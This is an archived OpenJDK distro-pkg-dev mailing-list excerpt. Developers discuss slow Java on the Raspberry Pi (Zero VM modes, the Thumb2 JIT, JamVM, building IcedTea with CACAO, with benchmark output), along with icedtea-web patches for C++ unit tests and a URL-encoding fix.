<1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> Message-ID: <50D0A7AF.90804@redhat.com> On 12/18/2012 03:11 PM, Greg Johnson wrote: >> Is there some special reason you need CACAO? > > Performance. > > I'm working with Java applications on low-powered devices -- > currently the Raspberry Pi. Initially I was using the Debian distro, > but I'm partial to the Red Hat world. ;-) The Java performance on > the Fedora 17 Remix version of Java is very poor compared to the > versions available on Debian. The Debian version uses Zero VM (mixed > mode). The Fedora version of Zero VM uses interpreted mode. No, they're using the same VM. The problem is that Raspberry Pi doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK needs it. I've been hoping that some day a brave soul will come along and convert the Thumb2 JIT to generate ARM code instead of Thumb2 code, but there haven't been any takers. > Have I received poor advice? Is Cacao something I shouldn't be > interested in? I guess I could always go back to Debian. :-( If Debian have made the Thumb2 JIT work on Raspberry Pi I'd love to know how. Andrew. From gregjo at yahoo.com Tue Dec 18 10:02:51 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 10:02:51 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D0A7AF.90804@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> Message-ID: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> >>No, they're using the same VM.? The problem is that Raspberry Pi >>doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>needs it.? I've been hoping that some day a brave soul will come along >>and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>code, but there haven't been any takers. Under Debian, I have this: # java -version java version "1.6.0_18" OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) OpenJDK Zero VM (build 14.0-b16, mixed mode) Under Fedora, I have this: # java -version java version "1.7.0_b147-icedtea" OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) OpenJDK Zero VM (build 22.0-b10, interpreted mode) Both are using Zero VM, but with different modes. Then I received this explanation from the Raspberry Pi forums: -------------------------------------- The main reason why you see a magnitude difference in the Debian vs Fedora results really boils down to that there exist two variants of Zero. In Fedora you have installed OpenJDK Zero VM (build 22.0-b10,?interpreted mode) This is using the C++ interpreter only. In Debian you have installed OpenJDK Zero VM (build 14.0-b16,?mixed mode) The "mixed mode" version contains two addons, designed by Edward Nevill, on top of the generic Zero C++ interpreter, a rewritten interpreter main loop in ARM assembly this speeds up the jvm about a factor x3 this do benefit the Pi. The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 cores and later, the Pi could benefit from this JIT if it got rewritten from Thumb2 to target generic ARM or Thumb1 assembly. ----------------------------------------- The Thumb2 info is out of my league. However, the disparity on performance was drastic, thus I searched out other avenues. Cacao was suggested, so I thought I'd try it out. Since it won't compile on 32bit x86, I have no hope of compiling it on ARM. I guess my search continues.... :-( ?Stefan suggested JamVM as a possibility. Off I go. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/2f3e4574/attachment.html From aph at redhat.com Tue Dec 18 10:27:25 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 18:27:25 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <50D0B514.4090304@redhat.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> <50D0B514.4090304@redhat.com> Message-ID: <50D0B58D.4020805@redhat.com> On 12/18/2012 06:25 PM, Andrew Haley wrote: > On 12/18/2012 06:02 PM, Greg Johnson wrote: >>>> No, they're using the same VM. The problem is that Raspberry Pi >>>> doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>>> needs it. I've been hoping that some day a brave soul will come along >>>> and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>>> code, but there haven't been any takers. >> >> Under Debian, I have this: >> # java -version >> java version "1.6.0_18" >> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >> OpenJDK Zero VM (build 14.0-b16, mixed mode) >> >> >> Under Fedora, I have this: >> # java -version >> java version "1.7.0_b147-icedtea" >> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >> >> >> Both are using Zero VM, but with different modes. Then I received >> this explanation from the Raspberry Pi forums: >> -------------------------------------- > >> The main reason why you see a magnitude difference in the Debian vs >> Fedora results really boils down to that there exist two variants of >> Zero. >> >> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, >> interpreted mode) This is using the C++ interpreter only. > > Ahhh, okay. All is now clear. One is Java 7, the other is Java 6. > > The problem is that the ARM assembler port isn't working on Java 7. > It's nothing to do with Fedora versus Debian: it's just that Debian > has an old version of OpenJDK. Incidentally, this does mean that the easiest way to get to where you want to be in the short term is just to build IcedTea 6. Andrew. From aph at redhat.com Tue Dec 18 10:25:24 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 18:25:24 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: <50D0B514.4090304@redhat.com> On 12/18/2012 06:02 PM, Greg Johnson wrote: >>> No, they're using the same VM. The problem is that Raspberry Pi >>> doesn't support the Thumb2 instruction set, and the ARM JIT in OpenJDK >>> needs it. I've been hoping that some day a brave soul will come along >>> and convert the Thumb2 JIT to generate ARM code instead of Thumb2 >>> code, but there haven't been any takers. > > Under Debian, I have this: > # java -version > java version "1.6.0_18" > OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) > OpenJDK Zero VM (build 14.0-b16, mixed mode) > > > Under Fedora, I have this: > # java -version > java version "1.7.0_b147-icedtea" > OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) > OpenJDK Zero VM (build 22.0-b10, interpreted mode) > > > Both are using Zero VM, but with different modes. Then I received > this explanation from the Raspberry Pi forums: > -------------------------------------- > The main reason why you see a magnitude difference in the Debian vs > Fedora results really boils down to that there exist two variants of > Zero. > > In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, > interpreted mode) This is using the C++ interpreter only. Ahhh, okay. All is now clear. One is Java 7, the other is Java 6. The problem is that the ARM assembler port isn't working on Java 7. It's nothing to do with Fedora versus Debian: it's just that Debian has an old version of OpenJDK. > In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) > The "mixed mode" version contains two addons, designed by Edward > Nevill, on top of the generic Zero C++ interpreter, a rewritten > interpreter main loop in ARM assembly this speeds up the jvm about a > factor x3 this do benefit the Pi. > The "mixed mode" also include a Thumb2 JIT that improves speed for > ARMv7 cores and later, the Pi could benefit from this JIT if it got > rewritten from Thumb2 to target generic ARM or Thumb1 assembly. That part is true. > The Thumb2 info is out of my league. However, the disparity on > performance was drastic, thus I searched out other avenues. Cacao > was suggested, so I thought I'd try it out. Since it won't compile > on 32bit x86, I have no hope of compiling it on ARM. I guess my > search continues.... :-( Stefan suggested JamVM as a > possibility. Off I go. :-) Well, you're talking to the right person: I wrote a lot of this stuff. We are working on getting the ARM assembler port working on 7, and we expect to have it done at the start of next year. Andrew. From adomurad at redhat.com Tue Dec 18 11:12:50 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 18 Dec 2012 14:12:50 -0500 Subject: [rfc][icedtea-web] Minor addition to C++ testing; cleanup Message-ID: <50D0C032.9050907@redhat.com> 2012-12-XX Adam Domurad * plugin/icedteanp/IcedTeaNPPlugin.cc: Remove need for 'goto' in (NP_Initialize). Expose some previously static variables/functions for unit testing purposes. Reduce need for explict allocations for strings 'data_directory' and 'appletviewer_executable'. * tests/cpp-unit-tests/IcedTeaNPPluginTest.cc: Add some basic tests for functions in IcedTeaNPPlugin.cc. The biggest change out of here I want is that NP_Initialize has considerably less string-fiddling/goto noise. Happy hacking, -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: itnp-unittests-small-cleanup.patch Type: text/x-patch Size: 10403 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/fcb8a257/itnp-unittests-small-cleanup.patch From rob.lougher at gmail.com Tue Dec 18 13:00:06 2012 From: rob.lougher at gmail.com (Robert Lougher) Date: Tue, 18 Dec 2012 21:00:06 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: Hi Greg, On 18 December 2012 18:02, Greg Johnson wrote: > > Under Debian, I have this: > # java -version > java version "1.6.0_18" > OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) > OpenJDK Zero VM (build 14.0-b16, mixed mode) > > Under Fedora, I have this: > # java -version > java version "1.7.0_b147-icedtea" > OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) > OpenJDK Zero VM (build 22.0-b10, interpreted mode) > > Both are using Zero VM, but with different modes. Then I received this > explanation from the Raspberry Pi forums: > -------------------------------------- > The main reason why you see a magnitude difference in the Debian vs Fedora > results really boils down to that there exist two variants of Zero. > > In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted > mode) > This is using the C++ interpreter only. > > In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) > The "mixed mode" version contains two addons, designed by Edward Nevill, on > top of the generic Zero C++ interpreter, a rewritten interpreter main loop > in ARM assembly this speeds up the jvm about a factor x3 this do benefit the > Pi. > The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 > cores and later, the Pi could benefit from this JIT if it got rewritten from > Thumb2 to target generic ARM or Thumb1 assembly. > ----------------------------------------- > Performance-wise JamVM is faster than the assembly interpreter but slower than the Thumb2 JIT. However this doesn't work on the Pi, so JamVM should be faster than what you used on Debian (as long as it was on the Pi). > The Thumb2 info is out of my league. However, the disparity on performance > was drastic, thus I searched out other avenues. Cacao was suggested, so I > thought I'd try it out. Since it won't compile on 32bit x86, I have no hope > of compiling it on ARM. I guess my search continues.... :-( Stefan > suggested JamVM as a possibility. Off I go. :-) JamVM is easy to build. It takes about 6 minutes for a full build on the Pi (armhf). You can follow the instructions here: http://draenog.blogspot.co.uk/2011/02/openjdkjamvm-git-repository.html They are slightly out of date. When it says: ./autogen.sh --with-java-runtime-library=openjdk You now need to give openjdk6 or openjdk7, as the VM now needs to be build slightly differently. Rob. From rob.lougher at gmail.com Tue Dec 18 13:44:23 2012 From: rob.lougher at gmail.com (Robert Lougher) Date: Tue, 18 Dec 2012 21:44:23 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com> Message-ID: On 18 December 2012 21:00, Robert Lougher wrote: > Hi Greg, > > On 18 December 2012 18:02, Greg Johnson wrote: >> >> Under Debian, I have this: >> # java -version >> java version "1.6.0_18" >> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >> OpenJDK Zero VM (build 14.0-b16, mixed mode) >> >> Under Fedora, I have this: >> # java -version >> java version "1.7.0_b147-icedtea" >> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >> >> Both are using Zero VM, but with different modes. Then I received this >> explanation from the Raspberry Pi forums: >> -------------------------------------- >> The main reason why you see a magnitude difference in the Debian vs Fedora >> results really boils down to that there exist two variants of Zero. >> >> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted >> mode) >> This is using the C++ interpreter only. >> >> In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) >> The "mixed mode" version contains two addons, designed by Edward Nevill, on >> top of the generic Zero C++ interpreter, a rewritten interpreter main loop >> in ARM assembly this speeds up the jvm about a factor x3 this do benefit the >> Pi. >> The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 >> cores and later, the Pi could benefit from this JIT if it got rewritten from >> Thumb2 to target generic ARM or Thumb1 assembly. >> ----------------------------------------- >> > > Performance-wise JamVM is faster than the assembly interpreter but > slower than the Thumb2 JIT. However this doesn't work on the Pi, so > JamVM should be faster than what you used on Debian (as long as it was > on the Pi). > Some numbers (SciMark is far from my favourite but it runs quickly): rob at terminus ~ $ java -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) OpenJDK Zero VM (build 22.0-b10, mixed mode) rob at terminus ~ $ rob at terminus ~ $ java -jamvm -version java version "1.7.0_07" OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching) rob at terminus ~ $ rob at terminus ~ $ java -jamvm -cp scimark2lib.jar jnt.scimark2.commandline SciMark 2.0a Composite Score: 5.5537918178428125 FFT (1024): 3.5766089775997916 SOR (100x100): 10.826562572167525 Monte Carlo : 1.0230009994051166 Sparse matmult (N=1000, nz=5000): 5.1887509149849 LU (100x100): 7.154035625056732 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 3.2.27+ rob at terminus ~ $ java -cp scimark2lib.jar jnt.scimark2.commandline SciMark 2.0a Composite Score: 3.025386835322935 FFT (1024): 1.769265203055126 SOR (100x100): 6.539676672735603 Monte Carlo : 0.627889791674138 Sparse matmult (N=1000, nz=5000): 2.660431296672497 LU (100x100): 3.5296712124773117 java.vendor: Oracle Corporation java.version: 1.7.0_07 os.arch: arm os.name: Linux os.version: 3.2.27+ rob at terminus ~ $ >> The Thumb2 info is out of my league. However, the disparity on performance >> was drastic, thus I searched out other avenues. Cacao was suggested, so I >> thought I'd try it out. Since it won't compile on 32bit x86, I have no hope >> of compiling it on ARM. I guess my search continues.... :-( Stefan >> suggested JamVM as a possibility. Off I go. :-) > From Peter.B.Kessler at Oracle.COM Tue Dec 18 13:58:51 2012 From: Peter.B.Kessler at Oracle.COM (Peter B. Kessler) Date: Tue, 18 Dec 2012 13:58:51 -0800 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com>

Message-ID: <50D0E71B.4030504@Oracle.COM> You can combine printing the version stamp and running your program with, for example $ java -showversion HelloWorld java version "1.7.0_07" Java(TM) SE Runtime Environment (build 1.7.0_07-b10) Java HotSpot(TM) Server VM (build 23.3-b01, mixed mode) Hello world! I find that helps me not forget which JVM generated which output, e.g., in logged output. ... peter Robert Lougher wrote: > On 18 December 2012 21:00, Robert Lougher wrote: >> Hi Greg, >> >> On 18 December 2012 18:02, Greg Johnson wrote: >>> Under Debian, I have this: >>> # java -version >>> java version "1.6.0_18" >>> OpenJDK Runtime Environment (IcedTea6 1.8.13) (6b18-1.8.13-0+squeeze1) >>> OpenJDK Zero VM (build 14.0-b16, mixed mode) >>> >>> Under Fedora, I have this: >>> # java -version >>> java version "1.7.0_b147-icedtea" >>> OpenJDK Runtime Environment (fedora-2.1.fc17.6-arm) >>> OpenJDK Zero VM (build 22.0-b10, interpreted mode) >>> >>> Both are using Zero VM, but with different modes. Then I received this >>> explanation from the Raspberry Pi forums: >>> -------------------------------------- >>> The main reason why you see a magnitude difference in the Debian vs Fedora >>> results really boils down to that there exist two variants of Zero. >>> >>> In Fedora you have installed OpenJDK Zero VM (build 22.0-b10, interpreted >>> mode) >>> This is using the C++ interpreter only. >>> >>> In Debian you have installed OpenJDK Zero VM (build 14.0-b16, mixed mode) >>> The "mixed mode" version contains two addons, designed by Edward Nevill, on >>> top of the generic Zero C++ interpreter, a rewritten interpreter main loop >>> in ARM assembly this speeds up the jvm about a factor x3 this do benefit the >>> Pi. >>> The "mixed mode" also include a Thumb2 JIT that improves speed for ARMv7 >>> cores and later, the Pi could benefit from this JIT if it got rewritten from >>> Thumb2 to target generic ARM or Thumb1 assembly. >>> ----------------------------------------- >>> >> Performance-wise JamVM is faster than the assembly interpreter but >> slower than the Thumb2 JIT. However this doesn't work on the Pi, so >> JamVM should be faster than what you used on Debian (as long as it was >> on the Pi). >> > > Some numbers (SciMark is far from my favourite but it runs quickly): > > rob at terminus ~ $ java -version > java version "1.7.0_07" > OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) > OpenJDK Zero VM (build 22.0-b10, mixed mode) > rob at terminus ~ $ > rob at terminus ~ $ java -jamvm -version > java version "1.7.0_07" > OpenJDK Runtime Environment (IcedTea7 2.3.2) (7u7-2.3.2a-1+rpi1) > JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching) > rob at terminus ~ $ > rob at terminus ~ $ java -jamvm -cp scimark2lib.jar jnt.scimark2.commandline > > SciMark 2.0a > > Composite Score: 5.5537918178428125 > FFT (1024): 3.5766089775997916 > SOR (100x100): 10.826562572167525 > Monte Carlo : 1.0230009994051166 > Sparse matmult (N=1000, nz=5000): 5.1887509149849 > LU (100x100): 7.154035625056732 > > java.vendor: Oracle Corporation > java.version: 1.7.0_07 > os.arch: arm > os.name: Linux > os.version: 3.2.27+ > rob at terminus ~ $ java -cp scimark2lib.jar jnt.scimark2.commandline > > SciMark 2.0a > > Composite Score: 3.025386835322935 > FFT (1024): 1.769265203055126 > SOR (100x100): 6.539676672735603 > Monte Carlo : 0.627889791674138 > Sparse matmult (N=1000, nz=5000): 2.660431296672497 > LU (100x100): 3.5296712124773117 > > java.vendor: Oracle Corporation > java.version: 1.7.0_07 > os.arch: arm > os.name: Linux > os.version: 3.2.27+ > rob at terminus ~ $ > >>> The Thumb2 info is out of my league. However, the disparity on performance >>> was drastic, thus I searched out other avenues. Cacao was suggested, so I >>> thought I'd try it out. Since it won't compile on 32bit x86, I have no hope >>> of compiling it on ARM. I guess my search continues.... :-( Stefan >>> suggested JamVM as a possibility. Off I go. :-) From stefan at complang.tuwien.ac.at Tue Dec 18 14:00:00 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:00:00 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > I have a build running at the moment, and I expect it to be a few more > hours before I can say something about the outcome. It will definitely > not be 2 weeks ;). On my SheevaPlug with Fedora 17: #-- Build times ---------- Target all_product_build Start 2012-12-18 11:50:13 End 2012-12-18 18:25:15 01:00:06 corba 00:23:37 jaxp 00:26:32 jaxws 04:23:02 jdk 00:21:45 langtools 06:35:02 TOTAL ------------------------- IcedTea is served: /home/sr/staging/staging-build7/icedtea7/openjdk.build real 424m53.696s user 396m50.460s sys 8m58.030s $ ./staging-build7/icedtea7/openjdk.build/j2sdk-image/bin/java -version java version "1.7.0_12" IcedTea Runtime Environment (2.4pre+r8e3208997140) (Fedora build 1.7.0_12-b03+rb10e1311a206) CACAO (build 1.6.0+ra97f753cfb7a, compiled mode) The IcedTea version is actually ff15cee90ed8, merged with my cacao stuff. Built like this: $ ./autogen.sh && ./configure --with-parallel-jobs=1 --enable-cacao --disable-bootstrap --disable-docs --disable-system-lcms --disable-system-zlib --disable-system-gio --disable-system-gtk --disable-downloading --with-openjdk-src-dir=/home/sr/staging/forest7 --with-cacao-src-dir=../cacao && make CACAO_CONFIGURE_ARGS="--enable-softfloat" So apparently no problem here. From smohammad at redhat.com Tue Dec 18 14:13:05 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Tue, 18 Dec 2012 17:13:05 -0500 Subject: [RFC][icedtea-web]: Fix PR909 - The Java applet at http://de.gosupermodel.com/games/wardrobegame.jsp fails In-Reply-To: <50865DAB.5010904@redhat.com> References: <85828911.69079417.1347544752233.JavaMail.root@redhat.com> <50570F99.1060506@redhat.com> <50637FEB.6090709@redhat.com> <50865DAB.5010904@redhat.com> Message-ID: <50D0EA71.6000902@redhat.com> On 10/23/2012 05:04 AM, Jiri Vanek wrote: > > Hi! > > Looks much better:) > > There is unit test for this behaviour in > tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java > a) ensure it is passing with your fix* > b) add unit test with @bug which is testing your new behaviour (focused on 909 > simulation) > > * I'm not sure how your patch is behaving when unexpected (encoded/decoded to > expected decoded/encoded) (lines 52-64 of your patch) state of coding is > delivered. If your fix pass above test, then it should be ok. > As far as I tested it, you are failing for item 1 an 3 in unittest:( > For 1 it is clear failure - try eg > "http://localhost:44321/gg%2Ffgg%15fdgfd%45fdg" where it is better to see, for > 2, you can remove this test. > The failure (1) is hard to explain. Just from quick check - it looks like url > and uri are making different encding/decoding. Please, investigate on it. > > Otherwise I have no objection against code and logic. > > Than you for fixing it. > > J. Hi Jiri, Sorry for the late reply. Attached you'll find the patch with unit-test changes to better work with PR909 fix. Below is a little explanation of these changes. I also added a test which validates PR909's case. Let me know your thoughts! Bug report: (Basically '=' is being encoded to '%3D' when it shouldn't be) ** NOTES ** After taking a further look into the problem within ResourceTrackerTest.java, I believe the issue is behind the test and not with URI encoding/decoding. The reasoning to these failure are because: 1) URI.encode will encode '+' to '%20', test expects '+' to remain static - I think it's fine as they both represent the same value 2) URI.encode will always decode '%2F' to the decoded value ('/') - Problems can arise if the server allows percent encoded slashes These two particular tests can be removed IMO. But like I mentioned above, there may be problems if a server configuration allows encoded characters in their URI. URI encoding is not a perfect representation of RFC3986 specification, but it does do a better job than our current implementation (also fixing this bug). ** OTHER NOTES ** Here are the difference I found between URI encoding and our current implementation. URI will _encode_ but our current implementation will not: " + URI will _not_encode_ but our current implementation will: : ; = (This is what causes PR909) @ ~ % ? ======================================================================== CHANGELOG - BUG FIX ======================================================================== 2012-12-18 Saad Mohammad * tests/netx/unit/net/sourceforge/jnlp/cache/ResourceTrackerTest.java: Added test and changes to work better with PR909 fix. -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: unittest0-3.patch Type: text/x-patch Size: 2519 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/e25efdad/unittest0-3.patch From gregjo at yahoo.com Tue Dec 18 14:27:54 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 14:27:54 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> >>...Built like this: >> >> $ ./autogen.sh && ./configure --with-parallel-jobs=1 --enable-cacao >> --disable-bootstrap --disable-docs --disable-system-lcms >> --disable-system-zlib --disable-system-gio --disable-system-gtk >> --disable-downloading --with-openjdk-src-dir=/home/sr/staging/forest7 >> --with-cacao-src-dir=../cacao && make >>CACAO_CONFIGURE_ARGS="--enable-softfloat" >> >> So apparently no problem here. Stefan, thanks for all your help. I can see that you've disabled a lot in your build script, which I am going to try on the Raspberry Pi. That certainly should make the compile go a lot quicker. However, I did try it again on 32bit x86. It still fails with an out of memory error. :-( Anyway, I'll crank up the Pi and ..... wait. :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/cb3a37b6/attachment.html From stefan at complang.tuwien.ac.at Tue Dec 18 14:33:17 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:33:17 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355869674.13682.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: > Stefan, thanks for all your help. I can see that you've disabled a lot in > your build script, which I am going to try on the Raspberry Pi. That > certainly should make the compile go a lot quicker. However, I did try it > again on 32bit x86. It still fails with an out of memory error. :-( > Anyway, I'll crank up the Pi and ..... wait. :-) It's not disabled for speed, though, but because the configure script complained about these. Or should I say, the configure script used to complain many versions ago, and I have not bothered taking them out since... ;). I'll try to find out if they are still necessary. From stefan at complang.tuwien.ac.at Tue Dec 18 14:37:42 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 23:37:42 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> <50D07910.7050500@redhat.com> <1355843476.76470.YahooMailNeo@web125004.mail.ne1.yahoo.com> <50D0A7AF.90804@redhat.com> <1355853771.14504.YahooMailNeo@web125003.mail.ne1.yahoo.com>

